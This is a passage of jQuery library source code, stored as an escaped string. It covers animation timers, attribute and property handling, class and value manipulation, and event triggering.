);\n\t},\n\tfinish: function( type ) {\n\t\tif ( type !== false ) {\n\t\t\ttype = type || \"fx\";\n\t\t}\n\t\treturn this.each( function() {\n\t\t\tvar index,\n\t\t\t\tdata = dataPriv.get( this ),\n\t\t\t\tqueue = data[ type + \"queue\" ],\n\t\t\t\thooks = data[ type + \"queueHooks\" ],\n\t\t\t\ttimers = jQuery.timers,\n\t\t\t\tlength = queue ? queue.length : 0;\n\n\t\t\t// Enable finishing flag on private data\n\t\t\tdata.finish = true;\n\n\t\t\t// Empty the queue first\n\t\t\tjQuery.queue( this, type, [] );\n\n\t\t\tif ( hooks && hooks.stop ) {\n\t\t\t\thooks.stop.call( this, true );\n\t\t\t}\n\n\t\t\t// Look for any active animations, and finish them\n\t\t\tfor ( index = timers.length; index--; ) {\n\t\t\t\tif ( timers[ index ].elem === this && timers[ index ].queue === type ) {\n\t\t\t\t\ttimers[ index ].anim.stop( true );\n\t\t\t\t\ttimers.splice( index, 1 );\n\t\t\t\t}\n\t\t\t}\n\n\t\t\t// Look for any animations in the old queue and finish them\n\t\t\tfor ( index = 0; index < length; index++ ) {\n\t\t\t\tif ( queue[ index ] && queue[ index ].finish ) {\n\t\t\t\t\tqueue[ index ].finish.call( this );\n\t\t\t\t}\n\t\t\t}\n\n\t\t\t// Turn off finishing flag\n\t\t\tdelete data.finish;\n\t\t} );\n\t}\n} );\n\njQuery.each( [ \"toggle\", \"show\", \"hide\" ], function( i, name ) {\n\tvar cssFn = jQuery.fn[ name ];\n\tjQuery.fn[ name ] = function( speed, easing, callback ) {\n\t\treturn speed == null || typeof speed === \"boolean\" ?\n\t\t\tcssFn.apply( this, arguments ) :\n\t\t\tthis.animate( genFx( name, true ), speed, easing, callback );\n\t};\n} );\n\n// Generate shortcuts for custom animations\njQuery.each( {\n\tslideDown: genFx( \"show\" ),\n\tslideUp: genFx( \"hide\" ),\n\tslideToggle: genFx( \"toggle\" ),\n\tfadeIn: { opacity: \"show\" },\n\tfadeOut: { opacity: \"hide\" },\n\tfadeToggle: { opacity: \"toggle\" }\n}, function( name, props ) {\n\tjQuery.fn[ name ] = function( speed, easing, callback ) {\n\t\treturn this.animate( props, speed, easing, callback );\n\t};\n} );\n\njQuery.timers = [];\njQuery.fx.tick = function() {\n\tvar timer,\n\t\ti = 0,\n\t\ttimers = jQuery.timers;\n\n\tfxNow = Date.now();\n\n\tfor ( ; i < timers.length; i++ ) {\n\t\ttimer = timers[ i ];\n\n\t\t// Run the timer and safely remove it when done (allowing for external removal)\n\t\tif ( !timer() && timers[ i ] === timer ) {\n\t\t\ttimers.splice( i--, 1 );\n\t\t}\n\t}\n\n\tif ( !timers.length ) {\n\t\tjQuery.fx.stop();\n\t}\n\tfxNow = undefined;\n};\n\njQuery.fx.timer = function( timer ) {\n\tjQuery.timers.push( timer );\n\tjQuery.fx.start();\n};\n\njQuery.fx.interval = 13;\njQuery.fx.start = function() {\n\tif ( inProgress ) {\n\t\treturn;\n\t}\n\n\tinProgress = true;\n\tschedule();\n};\n\njQuery.fx.stop = function() {\n\tinProgress = null;\n};\n\njQuery.fx.speeds = {\n\tslow: 600,\n\tfast: 200,\n\n\t// Default speed\n\t_default: 400\n};\n\n\n// Based off of the plugin by Clint Helfers, with permission.\n// https://web.archive.org/web/20100324014747/http://blindsignals.com/index.php/2009/07/jquery-delay/\njQuery.fn.delay = function( time, type ) {\n\ttime = jQuery.fx ? jQuery.fx.speeds[ time ] || time : time;\n\ttype = type || \"fx\";\n\n\treturn this.queue( type, function( next, hooks ) {\n\t\tvar timeout = window.setTimeout( next, time );\n\t\thooks.stop = function() {\n\t\t\twindow.clearTimeout( timeout );\n\t\t};\n\t} );\n};\n\n\n( function() {\n\tvar input = document.createElement( \"input\" ),\n\t\tselect = document.createElement( \"select\" ),\n\t\topt = select.appendChild( document.createElement( \"option\" ) );\n\n\tinput.type = \"checkbox\";\n\n\t// Support: Android <=4.3 only\n\t// Default value for a checkbox should be \"on\"\n\tsupport.checkOn = input.value !== \"\";\n\n\t// Support: IE <=11 only\n\t// Must access selectedIndex to make default options select\n\tsupport.optSelected = opt.selected;\n\n\t// Support: IE <=11 only\n\t// An input loses its value after becoming a radio\n\tinput = document.createElement( \"input\" );\n\tinput.value = \"t\";\n\tinput.type = \"radio\";\n\tsupport.radioValue = input.value === \"t\";\n} )();\n\n\nvar boolHook,\n\tattrHandle = jQuery.expr.attrHandle;\n\njQuery.fn.extend( {\n\tattr: function( name, value ) {\n\t\treturn access( this, jQuery.attr, name, value, arguments.length > 1 );\n\t},\n\n\tremoveAttr: function( name ) {\n\t\treturn this.each( function() {\n\t\t\tjQuery.removeAttr( this, name );\n\t\t} );\n\t}\n} );\n\njQuery.extend( {\n\tattr: function( elem, name, value ) {\n\t\tvar ret, hooks,\n\t\t\tnType = elem.nodeType;\n\n\t\t// Don't get/set attributes on text, comment and attribute nodes\n\t\tif ( nType === 3 || nType === 8 || nType === 2 ) {\n\t\t\treturn;\n\t\t}\n\n\t\t// Fallback to prop when attributes are not supported\n\t\tif ( typeof elem.getAttribute === \"undefined\" ) {\n\t\t\treturn jQuery.prop( elem, name, value );\n\t\t}\n\n\t\t// Attribute hooks are determined by the lowercase version\n\t\t// Grab necessary hook if one is defined\n\t\tif ( nType !== 1 || !jQuery.isXMLDoc( elem ) ) {\n\t\t\thooks = jQuery.attrHooks[ name.toLowerCase() ] ||\n\t\t\t\t( jQuery.expr.match.bool.test( name ) ? boolHook : undefined );\n\t\t}\n\n\t\tif ( value !== undefined ) {\n\t\t\tif ( value === null ) {\n\t\t\t\tjQuery.removeAttr( elem, name );\n\t\t\t\treturn;\n\t\t\t}\n\n\t\t\tif ( hooks && \"set\" in hooks &&\n\t\t\t\t( ret = hooks.set( elem, value, name ) ) !== undefined ) {\n\t\t\t\treturn ret;\n\t\t\t}\n\n\t\t\telem.setAttribute( name, value + \"\" );\n\t\t\treturn value;\n\t\t}\n\n\t\tif ( hooks && \"get\" in hooks && ( ret = hooks.get( elem, name ) ) !== null ) {\n\t\t\treturn ret;\n\t\t}\n\n\t\tret = jQuery.find.attr( elem, name );\n\n\t\t// Non-existent attributes return null, we normalize to undefined\n\t\treturn ret == null ? undefined : ret;\n\t},\n\n\tattrHooks: {\n\t\ttype: {\n\t\t\tset: function( elem, value ) {\n\t\t\t\tif ( !support.radioValue && value === \"radio\" &&\n\t\t\t\t\tnodeName( elem, \"input\" ) ) {\n\t\t\t\t\tvar val = elem.value;\n\t\t\t\t\telem.setAttribute( \"type\", value );\n\t\t\t\t\tif ( val ) {\n\t\t\t\t\t\telem.value = val;\n\t\t\t\t\t}\n\t\t\t\t\treturn value;\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t},\n\n\tremoveAttr: function( elem, value ) {\n\t\tvar name,\n\t\t\ti = 0,\n\n\t\t\t// Attribute names can contain non-HTML whitespace characters\n\t\t\t// https://html.spec.whatwg.org/multipage/syntax.html#attributes-2\n\t\t\tattrNames = value && value.match( rnothtmlwhite );\n\n\t\tif ( attrNames && elem.nodeType === 1 ) {\n\t\t\twhile ( ( name = attrNames[ i++ ] ) ) {\n\t\t\t\telem.removeAttribute( name );\n\t\t\t}\n\t\t}\n\t}\n} );\n\n// Hooks for boolean attributes\nboolHook = {\n\tset: function( elem, value, name ) {\n\t\tif ( value === false ) {\n\n\t\t\t// Remove boolean attributes when set to false\n\t\t\tjQuery.removeAttr( elem, name );\n\t\t} else {\n\t\t\telem.setAttribute( name, name );\n\t\t}\n\t\treturn name;\n\t}\n};\n\njQuery.each( jQuery.expr.match.bool.source.match( /\\w+/g ), function( i, name ) {\n\tvar getter = attrHandle[ name ] || jQuery.find.attr;\n\n\tattrHandle[ name ] = function( elem, name, isXML ) {\n\t\tvar ret, handle,\n\t\t\tlowercaseName = name.toLowerCase();\n\n\t\tif ( !isXML ) {\n\n\t\t\t// Avoid an infinite loop by temporarily removing this function from the getter\n\t\t\thandle = attrHandle[ lowercaseName ];\n\t\t\tattrHandle[ lowercaseName ] = ret;\n\t\t\tret = getter( elem, name, isXML ) != null ?\n\t\t\t\tlowercaseName :\n\t\t\t\tnull;\n\t\t\tattrHandle[ lowercaseName ] = handle;\n\t\t}\n\t\treturn ret;\n\t};\n} );\n\n\n\n\nvar rfocusable = /^(?:input|select|textarea|button)$/i,\n\trclickable = /^(?:a|area)$/i;\n\njQuery.fn.extend( {\n\tprop: function( name, value ) {\n\t\treturn access( this, jQuery.prop, name, value, arguments.length > 1 );\n\t},\n\n\tremoveProp: function( name ) {\n\t\treturn this.each( function() {\n\t\t\tdelete this[ jQuery.propFix[ name ] || name ];\n\t\t} );\n\t}\n} );\n\njQuery.extend( {\n\tprop: function( elem, name, value ) {\n\t\tvar ret, hooks,\n\t\t\tnType = elem.nodeType;\n\n\t\t// Don't get/set properties on text, comment and attribute nodes\n\t\tif ( nType === 3 || nType === 8 || nType === 2 ) {\n\t\t\treturn;\n\t\t}\n\n\t\tif ( nType !== 1 || !jQuery.isXMLDoc( elem ) ) {\n\n\t\t\t// Fix name and attach hooks\n\t\t\tname = jQuery.propFix[ name ] || name;\n\t\t\thooks = jQuery.propHooks[ name ];\n\t\t}\n\n\t\tif ( value !== undefined ) {\n\t\t\tif ( hooks && \"set\" in hooks &&\n\t\t\t\t( ret = hooks.set( elem, value, name ) ) !== undefined ) {\n\t\t\t\treturn ret;\n\t\t\t}\n\n\t\t\treturn ( elem[ name ] = value );\n\t\t}\n\n\t\tif ( hooks && \"get\" in hooks && ( ret = hooks.get( elem, name ) ) !== null ) {\n\t\t\treturn ret;\n\t\t}\n\n\t\treturn elem[ name ];\n\t},\n\n\tpropHooks: {\n\t\ttabIndex: {\n\t\t\tget: function( elem ) {\n\n\t\t\t\t// Support: IE <=9 - 11 only\n\t\t\t\t// elem.tabIndex doesn't always return the\n\t\t\t\t// correct value when it hasn't been explicitly set\n\t\t\t\t// https://web.archive.org/web/20141116233347/http://fluidproject.org/blog/2008/01/09/getting-setting-and-removing-tabindex-values-with-javascript/\n\t\t\t\t// Use proper attribute retrieval(#12072)\n\t\t\t\tvar tabindex = jQuery.find.attr( elem, \"tabindex\" );\n\n\t\t\t\tif ( tabindex ) {\n\t\t\t\t\treturn parseInt( tabindex, 10 );\n\t\t\t\t}\n\n\t\t\t\tif (\n\t\t\t\t\trfocusable.test( elem.nodeName ) ||\n\t\t\t\t\trclickable.test( elem.nodeName ) &&\n\t\t\t\t\telem.href\n\t\t\t\t) {\n\t\t\t\t\treturn 0;\n\t\t\t\t}\n\n\t\t\t\treturn -1;\n\t\t\t}\n\t\t}\n\t},\n\n\tpropFix: {\n\t\t\"for\": \"htmlFor\",\n\t\t\"class\": \"className\"\n\t}\n} );\n\n// Support: IE <=11 only\n// Accessing the selectedIndex property\n// forces the browser to respect setting selected\n// on the option\n// The getter ensures a default option is selected\n// when in an optgroup\n// eslint rule \"no-unused-expressions\" is disabled for this code\n// since it considers such accessions noop\nif ( !support.optSelected ) {\n\tjQuery.propHooks.selected = {\n\t\tget: function( elem ) {\n\n\t\t\t/* eslint no-unused-expressions: \"off\" */\n\n\t\t\tvar parent = elem.parentNode;\n\t\t\tif ( parent && parent.parentNode ) {\n\t\t\t\tparent.parentNode.selectedIndex;\n\t\t\t}\n\t\t\treturn null;\n\t\t},\n\t\tset: function( elem ) {\n\n\t\t\t/* eslint no-unused-expressions: \"off\" */\n\n\t\t\tvar parent = elem.parentNode;\n\t\t\tif ( parent ) {\n\t\t\t\tparent.selectedIndex;\n\n\t\t\t\tif ( parent.parentNode ) {\n\t\t\t\t\tparent.parentNode.selectedIndex;\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t};\n}\n\njQuery.each( [\n\t\"tabIndex\",\n\t\"readOnly\",\n\t\"maxLength\",\n\t\"cellSpacing\",\n\t\"cellPadding\",\n\t\"rowSpan\",\n\t\"colSpan\",\n\t\"useMap\",\n\t\"frameBorder\",\n\t\"contentEditable\"\n], function() {\n\tjQuery.propFix[ this.toLowerCase() ] = this;\n} );\n\n\n\n\n\t// Strip and collapse whitespace according to HTML spec\n\t// https://infra.spec.whatwg.org/#strip-and-collapse-ascii-whitespace\n\tfunction stripAndCollapse( value ) {\n\t\tvar tokens = value.match( rnothtmlwhite ) || [];\n\t\treturn tokens.join( \" \" );\n\t}\n\n\nfunction getClass( elem ) {\n\treturn elem.getAttribute && elem.getAttribute( \"class\" ) || \"\";\n}\n\nfunction classesToArray( value ) {\n\tif ( Array.isArray( value ) ) {\n\t\treturn value;\n\t}\n\tif ( typeof value === \"string\" ) {\n\t\treturn value.match( rnothtmlwhite ) || [];\n\t}\n\treturn [];\n}\n\njQuery.fn.extend( {\n\taddClass: function( value ) {\n\t\tvar classes, elem, cur, curValue, clazz, j, finalValue,\n\t\t\ti = 0;\n\n\t\tif ( isFunction( value ) ) {\n\t\t\treturn this.each( function( j ) {\n\t\t\t\tjQuery( this ).addClass( value.call( this, j, getClass( this ) ) );\n\t\t\t} );\n\t\t}\n\n\t\tclasses = classesToArray( value );\n\n\t\tif ( classes.length ) {\n\t\t\twhile ( ( elem = this[ i++ ] ) ) {\n\t\t\t\tcurValue = getClass( elem );\n\t\t\t\tcur = elem.nodeType === 1 && ( \" \" + stripAndCollapse( curValue ) + \" \" );\n\n\t\t\t\tif ( cur ) {\n\t\t\t\t\tj = 0;\n\t\t\t\t\twhile ( ( clazz = classes[ j++ ] ) ) {\n\t\t\t\t\t\tif ( cur.indexOf( \" \" + clazz + \" \" ) < 0 ) {\n\t\t\t\t\t\t\tcur += clazz + \" \";\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\n\t\t\t\t\t// Only assign if different to avoid unneeded rendering.\n\t\t\t\t\tfinalValue = stripAndCollapse( cur );\n\t\t\t\t\tif ( curValue !== finalValue ) {\n\t\t\t\t\t\telem.setAttribute( \"class\", finalValue );\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\n\t\treturn this;\n\t},\n\n\tremoveClass: function( value ) {\n\t\tvar classes, elem, cur, curValue, clazz, j, finalValue,\n\t\t\ti = 0;\n\n\t\tif ( isFunction( value ) ) {\n\t\t\treturn this.each( function( j ) {\n\t\t\t\tjQuery( this ).removeClass( value.call( this, j, getClass( this ) ) );\n\t\t\t} );\n\t\t}\n\n\t\tif ( !arguments.length ) {\n\t\t\treturn this.attr( \"class\", \"\" );\n\t\t}\n\n\t\tclasses = classesToArray( value );\n\n\t\tif ( classes.length ) {\n\t\t\twhile ( ( elem = this[ i++ ] ) ) {\n\t\t\t\tcurValue = getClass( elem );\n\n\t\t\t\t// This expression is here for better compressibility (see addClass)\n\t\t\t\tcur = elem.nodeType === 1 && ( \" \" + stripAndCollapse( curValue ) + \" \" );\n\n\t\t\t\tif ( cur ) {\n\t\t\t\t\tj = 0;\n\t\t\t\t\twhile ( ( clazz = classes[ j++ ] ) ) {\n\n\t\t\t\t\t\t// Remove *all* instances\n\t\t\t\t\t\twhile ( cur.indexOf( \" \" + clazz + \" \" ) > -1 ) {\n\t\t\t\t\t\t\tcur = cur.replace( \" \" + clazz + \" \", \" \" );\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\n\t\t\t\t\t// Only assign if different to avoid unneeded rendering.\n\t\t\t\t\tfinalValue = stripAndCollapse( cur );\n\t\t\t\t\tif ( curValue !== finalValue ) {\n\t\t\t\t\t\telem.setAttribute( \"class\", finalValue );\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\n\t\treturn this;\n\t},\n\n\ttoggleClass: function( value, stateVal ) {\n\t\tvar type = typeof value,\n\t\t\tisValidValue = type === \"string\" || Array.isArray( value );\n\n\t\tif ( typeof stateVal === \"boolean\" && isValidValue ) {\n\t\t\treturn stateVal ? this.addClass( value ) : this.removeClass( value );\n\t\t}\n\n\t\tif ( isFunction( value ) ) {\n\t\t\treturn this.each( function( i ) {\n\t\t\t\tjQuery( this ).toggleClass(\n\t\t\t\t\tvalue.call( this, i, getClass( this ), stateVal ),\n\t\t\t\t\tstateVal\n\t\t\t\t);\n\t\t\t} );\n\t\t}\n\n\t\treturn this.each( function() {\n\t\t\tvar className, i, self, classNames;\n\n\t\t\tif ( isValidValue ) {\n\n\t\t\t\t// Toggle individual class names\n\t\t\t\ti = 0;\n\t\t\t\tself = jQuery( this );\n\t\t\t\tclassNames = classesToArray( value );\n\n\t\t\t\twhile ( ( className = classNames[ i++ ] ) ) {\n\n\t\t\t\t\t// Check each className given, space separated list\n\t\t\t\t\tif ( self.hasClass( className ) ) {\n\t\t\t\t\t\tself.removeClass( className );\n\t\t\t\t\t} else {\n\t\t\t\t\t\tself.addClass( className );\n\t\t\t\t\t}\n\t\t\t\t}\n\n\t\t\t// Toggle whole class name\n\t\t\t} else if ( value === undefined || type === \"boolean\" ) {\n\t\t\t\tclassName = getClass( this );\n\t\t\t\tif ( className ) {\n\n\t\t\t\t\t// Store className if set\n\t\t\t\t\tdataPriv.set( this, \"__className__\", className );\n\t\t\t\t}\n\n\t\t\t\t// If the element has a class name or if we're passed `false`,\n\t\t\t\t// then remove the whole classname (if there was one, the above saved it).\n\t\t\t\t// Otherwise bring back whatever was previously saved (if anything),\n\t\t\t\t// falling back to the empty string if nothing was stored.\n\t\t\t\tif ( this.setAttribute ) {\n\t\t\t\t\tthis.setAttribute( \"class\",\n\t\t\t\t\t\tclassName || value === false ?\n\t\t\t\t\t\t\"\" :\n\t\t\t\t\t\tdataPriv.get( this, \"__className__\" ) || \"\"\n\t\t\t\t\t);\n\t\t\t\t}\n\t\t\t}\n\t\t} );\n\t},\n\n\thasClass: function( selector ) {\n\t\tvar className, elem,\n\t\t\ti = 0;\n\n\t\tclassName = \" \" + selector + \" \";\n\t\twhile ( ( elem = this[ i++ ] ) ) {\n\t\t\tif ( elem.nodeType === 1 &&\n\t\t\t\t( \" \" + stripAndCollapse( getClass( elem ) ) + \" \" ).indexOf( className ) > -1 ) {\n\t\t\t\t\treturn true;\n\t\t\t}\n\t\t}\n\n\t\treturn false;\n\t}\n} );\n\n\n\n\nvar rreturn = /\\r/g;\n\njQuery.fn.extend( {\n\tval: function( value ) {\n\t\tvar hooks, ret, valueIsFunction,\n\t\t\telem = this[ 0 ];\n\n\t\tif ( !arguments.length ) {\n\t\t\tif ( elem ) {\n\t\t\t\thooks = jQuery.valHooks[ elem.type ] ||\n\t\t\t\t\tjQuery.valHooks[ elem.nodeName.toLowerCase() ];\n\n\t\t\t\tif ( hooks &&\n\t\t\t\t\t\"get\" in hooks &&\n\t\t\t\t\t( ret = hooks.get( elem, \"value\" ) ) !== undefined\n\t\t\t\t) {\n\t\t\t\t\treturn ret;\n\t\t\t\t}\n\n\t\t\t\tret = elem.value;\n\n\t\t\t\t// Handle most common string cases\n\t\t\t\tif ( typeof ret === \"string\" ) {\n\t\t\t\t\treturn ret.replace( rreturn, \"\" );\n\t\t\t\t}\n\n\t\t\t\t// Handle cases where value is null/undef or number\n\t\t\t\treturn ret == null ? \"\" : ret;\n\t\t\t}\n\n\t\t\treturn;\n\t\t}\n\n\t\tvalueIsFunction = isFunction( value );\n\n\t\treturn this.each( function( i ) {\n\t\t\tvar val;\n\n\t\t\tif ( this.nodeType !== 1 ) {\n\t\t\t\treturn;\n\t\t\t}\n\n\t\t\tif ( valueIsFunction ) {\n\t\t\t\tval = value.call( this, i, jQuery( this ).val() );\n\t\t\t} else {\n\t\t\t\tval = value;\n\t\t\t}\n\n\t\t\t// Treat null/undefined as \"\"; convert numbers to string\n\t\t\tif ( val == null ) {\n\t\t\t\tval = \"\";\n\n\t\t\t} else if ( typeof val === \"number\" ) {\n\t\t\t\tval += \"\";\n\n\t\t\t} else if ( Array.isArray( val ) ) {\n\t\t\t\tval = jQuery.map( val, function( value ) {\n\t\t\t\t\treturn value == null ? \"\" : value + \"\";\n\t\t\t\t} );\n\t\t\t}\n\n\t\t\thooks = jQuery.valHooks[ this.type ] || jQuery.valHooks[ this.nodeName.toLowerCase() ];\n\n\t\t\t// If set returns undefined, fall back to normal setting\n\t\t\tif ( !hooks || !( \"set\" in hooks ) || hooks.set( this, val, \"value\" ) === undefined ) {\n\t\t\t\tthis.value = val;\n\t\t\t}\n\t\t} );\n\t}\n} );\n\njQuery.extend( {\n\tvalHooks: {\n\t\toption: {\n\t\t\tget: function( elem ) {\n\n\t\t\t\tvar val = jQuery.find.attr( elem, \"value\" );\n\t\t\t\treturn val != null ?\n\t\t\t\t\tval :\n\n\t\t\t\t\t// Support: IE <=10 - 11 only\n\t\t\t\t\t// option.text throws exceptions (#14686, #14858)\n\t\t\t\t\t// Strip and collapse whitespace\n\t\t\t\t\t// https://html.spec.whatwg.org/#strip-and-collapse-whitespace\n\t\t\t\t\tstripAndCollapse( jQuery.text( elem ) );\n\t\t\t}\n\t\t},\n\t\tselect: {\n\t\t\tget: function( elem ) {\n\t\t\t\tvar value, option, i,\n\t\t\t\t\toptions = elem.options,\n\t\t\t\t\tindex = elem.selectedIndex,\n\t\t\t\t\tone = elem.type === \"select-one\",\n\t\t\t\t\tvalues = one ? null : [],\n\t\t\t\t\tmax = one ? index + 1 : options.length;\n\n\t\t\t\tif ( index < 0 ) {\n\t\t\t\t\ti = max;\n\n\t\t\t\t} else {\n\t\t\t\t\ti = one ? index : 0;\n\t\t\t\t}\n\n\t\t\t\t// Loop through all the selected options\n\t\t\t\tfor ( ; i < max; i++ ) {\n\t\t\t\t\toption = options[ i ];\n\n\t\t\t\t\t// Support: IE <=9 only\n\t\t\t\t\t// IE8-9 doesn't update selected after form reset (#2551)\n\t\t\t\t\tif ( ( option.selected || i === index ) &&\n\n\t\t\t\t\t\t\t// Don't return options that are disabled or in a disabled optgroup\n\t\t\t\t\t\t\t!option.disabled &&\n\t\t\t\t\t\t\t( !option.parentNode.disabled ||\n\t\t\t\t\t\t\t\t!nodeName( option.parentNode, \"optgroup\" ) ) ) {\n\n\t\t\t\t\t\t// Get the specific value for the option\n\t\t\t\t\t\tvalue = jQuery( option ).val();\n\n\t\t\t\t\t\t// We don't need an array for one selects\n\t\t\t\t\t\tif ( one ) {\n\t\t\t\t\t\t\treturn value;\n\t\t\t\t\t\t}\n\n\t\t\t\t\t\t// Multi-Selects return an array\n\t\t\t\t\t\tvalues.push( value );\n\t\t\t\t\t}\n\t\t\t\t}\n\n\t\t\t\treturn values;\n\t\t\t},\n\n\t\t\tset: function( elem, value ) {\n\t\t\t\tvar optionSet, option,\n\t\t\t\t\toptions = elem.options,\n\t\t\t\t\tvalues = jQuery.makeArray( value ),\n\t\t\t\t\ti = options.length;\n\n\t\t\t\twhile ( i-- ) {\n\t\t\t\t\toption = options[ i ];\n\n\t\t\t\t\t/* eslint-disable no-cond-assign */\n\n\t\t\t\t\tif ( option.selected =\n\t\t\t\t\t\tjQuery.inArray( jQuery.valHooks.option.get( option ), values ) > -1\n\t\t\t\t\t) {\n\t\t\t\t\t\toptionSet = true;\n\t\t\t\t\t}\n\n\t\t\t\t\t/* eslint-enable no-cond-assign */\n\t\t\t\t}\n\n\t\t\t\t// Force browsers to behave consistently when non-matching value is set\n\t\t\t\tif ( !optionSet ) {\n\t\t\t\t\telem.selectedIndex = -1;\n\t\t\t\t}\n\t\t\t\treturn values;\n\t\t\t}\n\t\t}\n\t}\n} );\n\n// Radios and checkboxes getter/setter\njQuery.each( [ \"radio\", \"checkbox\" ], function() {\n\tjQuery.valHooks[ this ] = {\n\t\tset: function( elem, value ) {\n\t\t\tif ( Array.isArray( value ) ) {\n\t\t\t\treturn ( elem.checked = jQuery.inArray( jQuery( elem ).val(), value ) > -1 );\n\t\t\t}\n\t\t}\n\t};\n\tif ( !support.checkOn ) {\n\t\tjQuery.valHooks[ this ].get = function( elem ) {\n\t\t\treturn elem.getAttribute( \"value\" ) === null ? \"on\" : elem.value;\n\t\t};\n\t}\n} );\n\n\n\n\n// Return jQuery for attributes-only inclusion\n\n\nsupport.focusin = \"onfocusin\" in window;\n\n\nvar rfocusMorph = /^(?:focusinfocus|focusoutblur)$/,\n\tstopPropagationCallback = function( e ) {\n\t\te.stopPropagation();\n\t};\n\njQuery.extend( jQuery.event, {\n\n\ttrigger: function( event, data, elem, onlyHandlers ) {\n\n\t\tvar i, cur, tmp, bubbleType, ontype, handle, special, lastElement,\n\t\t\teventPath = [ elem || document ],\n\t\t\ttype = hasOwn.call( event, \"type\" ) ? event.type : event,\n\t\t\tnamespaces = hasOwn.call( event, \"namespace\" ) ? event.namespace.split( \".\" ) : [];\n\n\t\tcur = lastElement = tmp = elem = elem || document;\n\n\t\t// Don't do events on text and comment nodes\n\t\tif ( elem.nodeType === 3 || elem.nodeType === 8 ) {\n\t\t\treturn;\n\t\t}\n\n\t\t// focus/blur morphs to focusin/out; ensure we're not firing them right now\n\t\tif ( rfocusMorph.test( type + jQuery.event.triggered ) ) {\n\t\t\treturn;\n\t\t}\n\n\t\tif ( type.indexOf( \".\" ) > -1 ) {\n\n\t\t\t// Namespaced trigger; create a regexp to match event type in handle()\n\t\t\tnamespaces = type.split( \".\" );\n\t\t\ttype = namespaces.shift();\n\t\t\tnamespaces.sort();\n\t\t}\n\t\tontype = type.indexOf( \":\" ) < 0 && \"on\" + type;\n\n\t\t// Caller can pass in a jQuery.Event object, Object, or just an event type string\n\t\tevent = event[ jQuery.expando ] ?\n\t\t\tevent :\n\t\t\tnew jQuery.Event( type, typeof event === \"object\" && event );\n\n\t\t// Trigger bitmask: & 1 for native handlers; & 2 for jQuery (always true)\n\t\tevent.isTrigger = onlyHandlers ? 2 : 3;\n\t\tevent.namespace = namespaces.join( \".\" );\n\t\tevent.rnamespace = event.namespace ?\n\t\t\tnew RegExp( \"(^|\\\\.)\" + namespaces.join( \"\\\\.(?:.*\\\\.|)\" ) + \"(\\\\.|$)\" ) :\n\t\t\tnull;\n\n\t\t// Clean up the event in case it is being reused\n\t\tevent.result = undefined;\n\t\tif ( !event.target ) {\n\t\t\tevent.target = elem;\n\t\t}\n\n\t\t// Clone any incoming data and prepend the event, creating the handler arg list\n\t\tdata = data == null ?\n\t\t\t[ event ] :\n\t\t\tjQuery.makeArray( data, [ event ] );\n\n\t\t// Allow special events to draw outside the lines\n\t\tspecial = jQuery.event.special[ type ] || {};\n\t\tif ( !onlyHandlers && special.trigger && special.trigger.apply( elem, data ) === false ) {\n\t\t\treturn;\n\t\t}\n\n\t\t// Determine event propagation path in advance, per W3C events spec (#9951)\n\t\t// Bubble up to document, then to window; watch for a global ownerDocument var (#9724)\n\t\tif ( !onlyHandlers && !special.noBubble && !isWindow( elem ) ) {\n\n\t\t\tbubbleType = special.delegateType || type;\n\t\t\tif ( !rfocusMorph.test( bubbleType + type ) ) {\n\t\t\t\tcur = cur.parentNode;\n\t\t\t}\n\t\t\tfor ( ; cur; cur = cur.parentNode ) {\n\t\t\t\teventPath.push( cur );\n\t\t\t\ttmp = cur;\n\t\t\t}\n\n\t\t\t// Only add window if we got to document (e.g., not plain obj or detached DOM)\n\t\t\tif ( tmp === ( elem.ownerDocument || document ) ) {\n\t\t\t\teventPath.push( tmp.defaultView || tmp.parentWindow || window );\n\t\t\t}\n\t\t}\n\n\t\t// Fire handlers on the event path\n\t\ti = 0;\n\t\twhile ( ( cur = eventPath[ i++ ] ) && !event.isPropagationStopped() ) {\n\t\t\tlastElement = cur;\n\t\t\tevent.type = i > 1 ?\n\t\t\t\tbubbleType :\n\t\t\t\tspecial.bindType || type;\n\n\t\t\t// jQuery handler\n\t\t\thandle = ( dataPriv.get( cur, \"events\" ) || {} )[ event.type ] &&\n\t\t\t\tdataPriv.get( cur, \"handle\" );\n\t\t\tif ( handle ) {\n\t\t\t\thandle.apply( cur, data );\n\t\t\t}\n\n\t\t\t// Native handler\n\t\t\thandle = ontype && cur[ ontype ];\n\t\t\tif ( handle && handle.apply && acceptData( cur ) ) {\n\t\t\t\tevent.result = handle.apply( cur, data );\n\t\t\t\tif ( event.result === false ) {\n\t\t\t\t\tevent.preventDefault();\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t\tevent.type = type;\n\n\t\t// If nobody prevented the default action, do it now\n\t\tif ( !onlyHandlers && !event.isDefaultPrevented() ) {\n\n\t\t\tif ( ( !special._default ||\n\t\t\t\tspecial._default.apply( eventPath.pop(), data ) === false ) &&\n\t\t\t\tacceptData( elem ) ) {\n\n\t\t\t\t// Call a native DOM method on the target with the same name as the event.\n\t\t\t\t// Don't do default actions on window, that's where global variables be (#6170)\n\t\t\t\tif ( ontype && isFunction( elem[ type ] ) && !isWindow( elem ) ) {\n\n\t\t\t\t\t// Don't re-trigger an onFOO event when we call its FOO() method\n\t\t\t\t\ttmp = elem[ ontype ];\n\n\t\t\t\t\tif ( tmp ) {\n\t\t\t\t\t\telem[ ontype ] = null;\n\t\t\t\t\t}\n\n\t\t\t\t\t// Prevent re-triggering of the same event, since we already bubbled it above\n\t\t\t\t\tjQuery.event.triggered = type;\n\n\t\t\t\t\tif ( event.isPropagationStopped() ) {\n\t\t\t\t\t\tlastElement.addEventListener( type, stopPropagationCallback );\n\t\t\t\t\t}\n\n\t\t\t\t\telem[ type ]();\n\n\t\t\t\t\tif ( event.isPropagationStopped() ) {\n\t\t\t\t\t\tlastElement.removeEventListener( type, stopPropagationCallback );\n\t\t\t\t\t}\n\n\t\t\t\t\tjQuery.event.triggered = undefined;\n\n\t\t\t\t\tif ( tmp ) {\n\t\t\t\t\t\telem[ ontype ] = tmp;\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\n\t\treturn event.result;\n\t},\n\n\t// Piggyback on a donor event to simulate a different one\n\t// Used only for `focus(in | out)` events\n\tsimulate: function( type, elem, event ) {\n\t\tvar e = jQuery.extend(\n\t\t\tnew 